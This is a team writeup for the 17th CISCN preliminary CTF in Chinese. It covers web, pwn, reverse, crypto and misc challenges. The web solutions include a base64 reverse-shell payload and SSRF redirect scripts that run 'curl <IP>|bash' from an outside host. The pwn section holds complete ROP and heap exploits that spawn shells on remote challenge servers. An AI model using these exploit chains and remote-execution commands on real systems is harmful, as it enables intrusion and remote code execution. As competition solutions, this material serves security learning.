第十七届全国大学生信息安全竞赛 初赛 Writeup by X2cT34m

Web

Simple_php

php -r system(str_rot13($argv[1])($argv[2])); onfr64_qrpbqr L2Jpbi9iYXNoIC90bXAvcg==

最后⼀个参数是 base64 编码的命令。反弹出来 mysql -u root -p 密码 root , flag 在那个PHP_CMS.F什么的表 ⾥⾯

Easycms

flag.php 很明显他是⼀个需要ssrf打的,搜到⼀个ssrf在qrcode,github上的源码不对, $img = getimagesize($thumb); 这⾥就可以 ssrf ,⼀直以为是 file_get_contents 出的,

from flask import Flask, redirect 

app = Flask(__name__) 

@app.route('/') 
def index(): 
    return redirect('http://127.0.0.1/flag.php?cmd=curl 101.34.243.60:8000/2|bash') 

app.run(host='0.0.0.0', port=2345)

访问

http://eci-2ze2xsf4p27dwg28po0c.cloudeci1.ichunqiu.com/index.php?s=api&c=api&m=qrcode&text=123&thumb=http%3A%2F%2F101.34.243.60%3A2345%2F

弹shell出来,/readflag

easycms_revenge

同样的 ssrf ,他要请求两次,第⼀次如果是图⽚再请求第⼆次

<?php
$imgPath='image.png'; 
if(file_exists('./flag')){ 
    header("Content-Type: ".mime_content_type($imgPath)); 
    readfile($imgPath); unlink('./flag'); 
    }else{ 
    file_put_contents('./flag',""); 
    header('Location: http://127.0.0.1/flag.php?cmd=curl 101.34.243.60:9000|bash',true,302); 
   }

Pwn

gostack

stack基本就是栈溢出,cyclic让他炸一下看看,coredump有栈信息,看pc的位置是啥确定溢出长度然后找gadget即可。

from pwn import *
context(arch='amd64', os='linux',log_level='debug')
#s=process("./gostack")
s=remote("8.147.132.179",20522)
syscall_ret=0x00000000004616c9
#0x00000000004a18a5 : pop rdi ; pop r14 ; pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret
rdi=0x00000000004a18a5
rsi=0x000000000042138a
rdx=0x00000000004944ec
rax=0x000000000040f984
pause()
s.sendline(b"\x00"*456+flat([
    0xdeadbeef,
    rdi,0,0,0,0,0,0,
    rsi,0x550000,
    rdx,0x100,
    rax,0,
    syscall_ret,
    rdi,0x550000,0,0,0,0,0,
    rsi,0,
    rdx,0,
    rax,59,
    syscall_ret
]))
s.send(b"/bin/sh\x00")
s.interactive()

EzHeap

堆溢出,漏env打栈

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#s=process("./EzHeap")
s=remote("8.147.133.80",37923)
libc=ELF("./libc.so.6")
def menu(ch):
    s.sendlineafter(b">> ",str(ch).encode())
def add(sz,cont=b"/flag\x00"):
    menu(1)
    s.sendlineafter(b"size:",str(sz).encode())
    s.sendafter(b"content:",cont)
def delete(idx):
    menu(2)
    s.sendlineafter(b"idx:",str(idx).encode())
def edit(idx,size,cont):
    menu(3)
    s.sendlineafter(b"idx:",str(idx).encode())
    s.sendlineafter(b"size:",str(size).encode())
    s.sendafter(b"content:",cont)
def show(idx):
    menu(4)
    s.sendlineafter(b"idx:",str(idx).encode())
    s.recvuntil(b"content:")
    return s.recvuntil(b"Welcom",drop=True)

if __name__=="__main__":
    pause()
    add(0xf8)
    add(0xf8)
    add(0x428)
    add(0x1f8)
    delete(1)
    edit(0,0x100,b"a"*0x100)
    heap_xor_key=int.from_bytes(show(0)[0x100:],byteorder='little')-2
    heap_base=heap_xor_key<<12
    success(hex(heap_base))
    pause()
    edit(0,0x100,b"a"*0xf8+p64(0x101))
    add(0xf8)
    delete(2)
    edit(1,0x100,b"b"*0x100)
    libc.address=int.from_bytes(show(1)[0x100:],byteorder='little')+0x7f670c4e4000-0x7f670c6fdce0-0x1000
    success(hex(libc.address))
    pause()
    edit(1,0x100,b"c"*0xf8+p64(0x431))
    add(0x428)
    add(0x208) #4
    add(0x208) #5
    add(0x208) #6
    delete(6)
    delete(5)
    edit(4,0x218,b"d"*0x208+p64(0x211)+p64((libc.sym.environ-0x200)^(heap_xor_key+2)))
    add(0x200)
    add(0x200)
    edit(6,0x200,b"a"*0x200)
    stack=int.from_bytes(show(6)[0x200:],byteorder='little')
    success(hex(stack))
    pause()
    edit(6,6,b"/flag\x00")
    add(0x218) #7
    add(0x218) #8
    add(0x218) #9
    delete(9)
    delete(8)
    edit(7,0x228,b"e"*0x218+p64(0x221)+p64((stack-0x178)^(heap_xor_key+3)))
    add(0x210)
    rdi=libc.address+0x000000000002a3e5
    rsi=libc.address+0x000000000002be51
    rdx=libc.address+0x000000000011f2e7
    rax=libc.address+0x0000000000045eb0
    syscall=libc.address+0x0000000000091316
    pause()
    add(0x210,flat([
        0,rdi,libc.sym.environ-0x200,rsi,0,rdx,0,0,rax,2,syscall,
        rdi,3,rsi,heap_base+0x1000,rdx,0x100,0,rax,0,syscall,
        rdi,1,rax,1,syscall,
    ]))
    s.interactive()

Reverse

asm_re

可以根据汇编还原代码如下:

#include <stdio.h>
#include <string.h>

char flag[] = "flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}";

int main(int argc, const char **argv, const char **envp) {
    char result[100] = {0};
    char *dst = &result[0];
    char src[] = {0xD7, 0x1F, 0x00, 0x00, 0xB7, 0x21, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00, 0x27, 0x20, 0x00, 0x00, 0xE7, 0x26, 0x00, 0x00, 0xD7, 0x10, 0x00, 0x00, 0x27, 0x11, 0x00, 0x00, 0x07, 0x20, 0x00, 0x00, 0xC7, 0x11, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0xF7, 0x11, 0x00, 0x00, 0x07, 0x20, 0x00, 0x00, 0x37, 0x10, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00, 0x17, 0x1F, 0x00, 0x00, 0xD7, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0x67, 0x1F, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0xC7, 0x11, 0x00, 0x00, 0xC7, 0x11, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00, 0x17, 0x1F, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00, 0x47, 0x0F, 0x00, 0x00, 0x27, 0x11, 0x00, 0x00, 0x37, 0x10, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00, 0x37, 0x10, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00, 0x87, 0x27, 0x00, 0x00};
    size_t n = 0x98;
    memcpy(dst, src, n);

    size_t flag_len = strlen(flag);
    for (int i = 0; i < flag_len; i++) {
        char c = flag[i];
        result[i] = (c * 0x50 + 0x14) ^ 0x4D + 0x1E;
    }
    result[flag_len] = 0;

    printf("\n");
    int matched = 1;
    for (int i = 0; i < flag_len; i++) {
        if (result[i] != src[i]) {
            matched = 0;
            break;
        }
    }

    if (matched) {
        printf("The result array matches the expected array.\n");
    } else {
        printf("The result array does not match the expected array.\n");
    }

    return 0;
}

然后写出解密程序如下:

#include <stdio.h>
#include <string.h>

char flag[] = "flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}";

int main(int argc, const char **argv, const char **envp)
{
    int result[100] = {0};
    int src[] = {
        0x00001FD7, 0x000021B7, 0x00001E47, 0x00002027,
        0x000026E7, 0x000010D7, 0x00001127, 0x00002007,
        0x000011C7, 0x00001E47, 0x00001017, 0x00001017,
        0x000011F7, 0x00002007, 0x00001037, 0x00001107,
        0x00001F17, 0x000010D7, 0x00001017, 0x00001017,
        0x00001F67, 0x00001017, 0x000011C7, 0x000011C7,
        0x00001017, 0x00001FD7, 0x00001F17, 0x00001107,
        0x00000F47, 0x00001127, 0x00001037, 0x00001E47,
        0x00001037, 0x00001FD7, 0x00001107, 0x00001FD7,
        0x00001107, 0x00002787};
    size_t n = sizeof(src) / sizeof(src[0]);

    size_t flag_len = strlen(flag);

    for (int i = 0; i < sizeof(src) / sizeof(src[0]); i++)
    {
        int v = (src[i] - 0x1E) ^ 0x4D;
        char c = (v - 0x14) / 0x50;
        flag[i] = c;
    }
    flag[sizeof(src) / sizeof(src[0])] = '\0';
    printf("Recovered flag: %s\n", flag);

    return 0;
}

Recovered flag: flag{67e9a228e45b622c2992fb5174a4f5f5}

androidso_re

分析一下主体代码,可以看出是AES加密后BASE64编码,然后和内置值比较

    public static boolean inspect(String input_str){
       boolean bool;
       int i = 1;
       try{
          byte[] input_flag = input_str.getBytes(StandardCharsets.UTF_8);
          byte[] str2 = jni.getkey().getBytes(StandardCharsets.UTF_8);
          Arrays.copyOf(str2, 8);
          SecretKeySpec key = new SecretKeySpec(str2, "AES");
          byte[] ivBytes = jni.getiv().getBytes(StandardCharsets.UTF_8);
          IvParameterSpec iv = new IvParameterSpec(ivBytes);
          Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
          cipher.init(i, key, iv);
          byte[] encryptedBytes = cipher.doFinal(input_flag);
          String encryptedFlag = Base64.encodeToString(encryptedBytes, 0).trim();
          if (bool = encryptedFlag.equals("JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw==")) {
             i = 0;
          }
          return i;
       }catch(java.lang.Exception e1){
          e1.printStackTrace();
          return i;
       }
    }
        private boolean legal(String paramString){
       boolean b = false;
       if (paramString.length() != 38) {
       }else if(paramString.startsWith("flag{") && (paramString.charAt((paramString.length() - 1)) == '}' && !inspect.inspect(paramString.substring(5, (paramString.length() - 1))))){
          b = 1;
       }
       return b;
    }
    public void onClick(View v){
       Log.d("Button ID", "Button ID: "+v.getId());
       switch (v.getId()){
           case 0x7f080003:
             String inputstr = this.editText.getText().toString();
             if (this.legal(inputstr)) {
                Toast.makeText(this, "You are right.", 0).show();
                return;
             }else {
                Toast.makeText(this, "You are wrong.", 0).show();
             }
             break;
           default:
       }
       return;
    }

这里的IV和KEY来自SO文件,我们hook一下即可拿到相关参数。

类型:DES/CBC/PKCS5Padding
加密/解密:加密
密钥:A8UdWaeq
iv:Wf3DLups
原始数据:sjjsjsjjsjsjnsksjjsjjsjndjjdbdhj
加密结果:�x�6[����\�a<�R�s!klZ����`bAY�Ea���
调用堆栈:
J -->callback(line:292)
com.example.re11113.inspect -->inspect(line:26)
com.example.re11113.MainActivity -->legal(line:26)
com.example.re11113.MainActivity -->onClick(line:47)
android.view.View -->performClick(line:7158)
com.google.android.material.button.MaterialButton -->performClick(line:1131)
android.view.View -->performClickInternal(line:7135)
android.view.View -->access3500(line:801)
android.view.ViewPerformClick -->run(line:27375)
android.os.Handler -->handleCallback(line:883)
android.os.Handler -->dispatchMessage(line:100)
android.os.Looper -->loop(line:239)
android.app.ActivityThread -->main(line:7500)
java.lang.reflect.Method -->invoke(line:-2)
com.android.internal.os.RuntimeInit$MethodAndArgsCaller -->run(line:492)
com.android.internal.os.ZygoteInit -->main(line:935)

然后可以写出解密程序如下:

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class Main {

    private static final String KEY = "A8UdWaeq";
    private static final String IV = "Wf3DLups";
    private static final String ALGORITHM = "DES/CBC/PKCS5Padding";

    public static String decrypt(String encryptedData) throws Exception {
        Cipher cipher = Cipher.getInstance(ALGORITHM);
        SecretKeySpec keySpec = new SecretKeySpec(KEY.getBytes(StandardCharsets.UTF_8), "DES");
        IvParameterSpec ivSpec = new IvParameterSpec(IV.getBytes(StandardCharsets.UTF_8));
        cipher.init(Cipher.DECRYPT_MODE, keySpec, ivSpec);
        byte[] original = cipher.doFinal(Base64.getDecoder().decode(encryptedData));
        return new String(original, StandardCharsets.UTF_8);
    }

    public static void main(String[] args) {
        try {
            String encryptedText = "JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw==";
            String decryptedText = decrypt(encryptedText);
            System.out.println("flag{" + decryptedText + "}");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

运行该程序后可以得到flag

flag{188cba3a5c0fbb2250b5a2e590c391ce}

rust_baby

{
        "henhenaaa!":[1,1,4,5,1,4,1,9,1,9,8,1,0],
        "cryforhelp":"igdydo19TVE13ogW1AT5DgjPzHwPDQle1X7kS8TzHK8S5KCu9mnJ0uCnAQ4aV3CSYUl6QycpibWSLmqm2y/GqW6PNJBZ/C2RZuu+DfQFCxvLGHT5goG8BNl1ji2XB3x9GMg9T8Clatc=",
        "whatadoor":"1145141919810WTF",
        "iwantovisit":"O0PSwantf1agnow1"
}

分析题目,可以看出程序对输入的值按字节加减了特定值,然后进行xor 0x33,之后用一套复杂的方式生成密钥后对数据xor加密,然后进行BASE64编码,最终与内置值比较。根据该流程提取出需要的特定值和xor表,解密掉程序内置的flag即可。

解题脚本如下:

import base64

encoded_str = "igdydo19TVE13ogW1AT5DgjPzHwPDQle1X7kS8TzHK8S5KCu9mnJ0uCnAQ4aV3CSYUl6QycpibWSLmqm2y/GqW6PNJBZ/C2RZuu+DfQFCxvLGHT5goG8BNl1ji2XB3x9GMg9T8Clatc="

decoded_bytes = base64.b64decode(encoded_str)

xor_table = [
    0xDC, 0x5F, 0x20, 0x22, 0xC2, 0x79, 0x19, 0x56, 0x35, 0xDA, 0x8B, 0x47, 0xD3, 0x19, 0xFC, 0x55,
    0x14, 0xCD, 0xD2, 0x7B, 0x58, 0x59, 0x09, 0x42, 0xDE, 0x2C, 0xB4, 0x48, 0xD9, 0xF2, 0x1B, 0xA9,
    0x40, 0xE1, 0xA6, 0xFB, 0xFF, 0x38, 0xC1, 0xD5, 0xE2, 0xE8, 0x77, 0x78, 0x6F, 0x22, 0x04, 0xE6,
    0x16, 0x3E, 0x0C, 0x35, 0x52, 0x5C, 0xFD, 0xC1, 0xE5, 0x59, 0x1C, 0xD0, 0xAE, 0x5A, 0xB2, 0xDD,
    0x19, 0xF8, 0x42, 0xE6, 0x2C, 0x89, 0x59, 0xE5, 0x11, 0x9C, 0xC8, 0x7B, 0x81, 0x70, 0x7F, 0x6F,
    0xBC, 0x6F, 0x02, 0x8F, 0xF7, 0xF4, 0xC8, 0x70, 0xAE, 0x02, 0xF8, 0x5B, 0xE2, 0x72, 0x08, 0x09,
    0x6F, 0xBF, 0x4B, 0x39, 0xB5, 0xD0, 0x1E, 0xA3, 0x23, 0xAB, 0x9B, 0x43, 0xB1, 0x15, 0xD7, 0xBE
]

add_table = [0xFF, 0xFF,0x00, 0x00, 0x01, 0x01, 0x02, 0x02]

xor_result = bytes([(decoded_bytes[i] ^ xor_table[i % len(xor_table)]) for i in range(len(decoded_bytes))])

xor33_result = bytes([(b ^ 0x33) for b in xor_result])

final_result = bytearray()
for i in range(0, len(xor33_result), 8):
    block = xor33_result[i:i+8]
    adjusted_block = bytes([(block[j] - add_table[j % len(add_table)]) & 0xFF for j in range(len(block))])
    final_result.extend(adjusted_block)

try:
    decoded_string = final_result.decode()
except UnicodeDecodeError:
    decoded_string = "WTF"

print(decoded_string.rstrip('E'))

flag{6e2480b3-4f02-4cf1-9bc0-123b75f9a922}

whereThel1b

python3.10的模块逆向,算法看起来是取固定种子的随机数,然后先add后xor。考虑到时间,最后还是用爆破的方案了,其中几个字节爆破时有一些问题,这里手动逆向固定一下用于修正脚本。

import whereThel1b

encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85,
         105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]

allowed_chars = bytes(
    '0123456789abcdef', 'utf-8')

def mock_encrypt(flag):
    whereThel1b.whereistheflag(flag)
    ret = whereThel1b.trytry(flag)
    return ret

# 初始化 flag
flag = bytearray(b'flag{123e4567-e89b-12d3-a456-426655440000}')
flagmask = bytearray(b'flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}')
flagskip = bytearray(b'xxxxxxxxx1xxxxx6xxxxxdxxaxxxxxx0xxxxx3xxxx')

for i in range(42):
    if flag[i] == flagmask[i]:
        continue
    best_byte = flag[i]
    max_match = 0
    # 尝试每个可能的字节值
    for b in allowed_chars:
        flag[i] = b
        enc = mock_encrypt(flag)
        # 计算匹配的字节数
        match_count = sum(1 for x, y in zip(enc, encry) if x == y)
        if flagskip[i] != ord('x'):
            print(match_count)
            print(chr(b))
            print(i)
            if b <= flagskip[i]:
                continue
        if match_count > max_match:
            max_match = match_count
            best_byte = b
    flag[i] = best_byte

print("Flag:", flag.decode())

gdb_debug

分析下题目,是利用固定种子的随机数xor,调整字节顺序,然后再取随机数xor,之后与内置的值xor,然后和内置的字符串比较。

这里直接提取出xor用的随机数,然后反向编写代码即可。

import binascii

def hex_to_bytes(hex_str):
    return binascii.unhexlify(hex_str)

def xor_bytes(bytes1, bytes2):
    return bytes([b1 ^ b2 for b1, b2 in zip(bytes1, bytes2)])

def parse_order(order_str):
    return [int(order_str[i:i+2], 16) for i in range(0, len(order_str), 2)]

def reorder_bytes(data, order):
    reordered = bytearray(len(data))
    for i, pos in enumerate(order):
        reordered[pos] = data[i]
    return bytes(reordered)

key1 = hex_to_bytes("d90f18bdc71681bef84a65f25dab2b33d4a567989f7e2b5dc2af8e3a4ca57525b48de37ba364")
key2 = hex_to_bytes("deaa42fc09e8b2060d9361f424491501d7ab0418cfe9d59633caf92a5eea2d3c946f389d58ea")
key3 = hex_to_bytes("BFD72EDAEEA81A108373ACF106BEAD8804D712FEB5E261B73D074AE896A29D4DBC818CE98878")
final_result = hex_to_bytes("636f6e67726174756c6174696f6e73746f796f75636f6e67726174756c6174696f6e73746f79")
order = parse_order("120E1B1E110507011022061716081913040F020D250C03151C140B1A18091D231F20240A0021")

intermediate_result = xor_bytes(final_result, key3)

intermediate_result = xor_bytes(intermediate_result, key2)

original_order = [0] * len(order)
for i, pos in enumerate(order):
    original_order[i] = pos
reordered_back = reorder_bytes(intermediate_result, original_order)

original_input = xor_bytes(reordered_back, key1)

print(original_input)

Crypto

OvO

$$e=65537+kp+(k+2)(p+1)(q+1)+1\ e=65537+(k+2)n+2(k+1)p+(k+2)q+k+3\ ep=65537p+(k+2)np+2(k+1) p^2+(k+2)n+(k+3)p\ 令k = e // 2 - 2$$

因为e的信息缺失,通过上式求根的办法只能得到q的高位,接下来还得利用q高位泄露的办法去解q的低位。

得到所有信息之后正常代数解密就可以。

from Crypto.Util.number import *
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823

k = e//n-2
g = 65537 + (k+2)*n + (k+2) + 1
R.<x> = PolynomialRing(RealField(1024))
f = e*x - (2*(k+1)*x**2 + (k+2)*n + g*x)
MSBs = f.roots()
print(f'[+] MSB = {MSBs}')

for MSB in MSBs:
    PR.<x> = PolynomialRing(Zmod(n))
    print(f'[+] test = {int(MSB[0])}')
    t = int(MSB[0])
    f_= x+t
    root = f_.small_roots(X=2**200,beta=0.4)
    print(f'[+] find root = {root}')
    try:
        p = root[0]+t
        if n%p==0:
            print(f'[+] p={p}')
            break
    except:
        pass

q = int(n//int(p))
phi = (q-1)*(p-1)
assert isPrime(int(k))
k = int(k)
print(f'k = {k}')
print(f'p = {p}')
print(f'q = {q}')
print(f'c = {c}')
#拿参数

解密:

from Crypto.Util.number import *
p=9915449532466780441980882114644132757469503045317741049786571327753160105973102603393585703801838713884852201325856459312958617061522496169870935934745091
q=11287710353955888973017088237331029225772085726230749705174733853385754367993775916873684714795084329569719147149432367637098107466393989095020167706071637
n=q*p
c=14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
k = 331118458487559161870846961263454730637
e = 65537 + k*p + (k+2) * ((p+1) * (q+1)) + 1
phi = (q-1)*(p-1)
d = inverse(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))
#b'flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}'

古典密码

Atbash -> base64 -> 栅栏:

AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9

第十七届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
第十七届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

Misc

火锅链观光打卡

安装好狐狸之后,照着按钮点就完了,答对七个问题直接换flag就ok

第十七届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室

Power Trajectory

拿到题目,利用matplotlib分析同一个字母的所有波形图,可以找到显著的功耗低点特征,分析波形图得出密码位数,之后写代码提取密码即可

观察用脚本:

import numpy as np
import matplotlib.pyplot as plt

file_path = "attachment.npz"
data = np.load(file_path, allow_pickle=True)
trace = data['trace']
input_data = data['input']
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!@#"
repetitions = 13

char_traces = {char: [] for char in characters}

for idx, char in enumerate(input_data):
    char_traces[char].append(trace[idx])

for char in characters:
    plt.figure(figsize=(10, 6))
    for idx, t in enumerate(char_traces[char]):
        plt.plot(t, label=f'Try {idx+1}')

    plt.title(f'Power traces for character "{char}"')
    plt.xlabel('Sample Points')
    plt.ylabel('Power Consumption')
    plt.legend()
    plt.show()

提取密码脚本:

import numpy as np

file_path = "attachment.npz"
poem = np.load(file_path, allow_pickle=True)
index, inputs, output, trace = poem['index'], poem['input'], poem['output'], poem['trace']

print("Input shape:", inputs.shape)
print("Unique inputs:", np.unique(inputs))

num_chars = 40
num_groups = 13
grouped_inputs = inputs.reshape((num_groups, num_chars))

min_power_indices = np.zeros((num_groups, num_chars), dtype=int)

for i in range(num_groups):
    for j in range(num_chars):
        trace_index = i * num_chars + j
        trace_data = trace[trace_index]

        min_power_indices[i, j] = np.argmin(trace_data)

outlier_indices = []

for i in range(num_groups):
    mean_min_power = np.mean(min_power_indices[i])
    std_min_power = np.std(min_power_indices[i])

    for j in range(num_chars):
        if abs(min_power_indices[i, j] - mean_min_power) > 2 * std_min_power:
            outlier_indices.append((i, j, grouped_inputs[i, j]))

for outlier in outlier_indices:
    print(f"Group {outlier[0]}, Character Position {outlier[1]}, Character: '{outlier[2]}'")

outlier_string = ""
for outlier in outlier_indices:
    outlier_string += outlier[2]

print(outlier_string)

ciscn_2024

通风机

百度知道mwp -> 西门子的软件 -> V4.0 STEP 7 MicroWIN SP9 ->尝试打开 ->开不了,

检查文件头和文件十六进制,发现头部的几个字节被删去了,手动用创建一个新的项目,把文件头拿过来用就可以。

进项目之后翻了一下,发现有奇怪的base64特征字符

第十七届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室
第十七届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m-小绿草信息安全实验室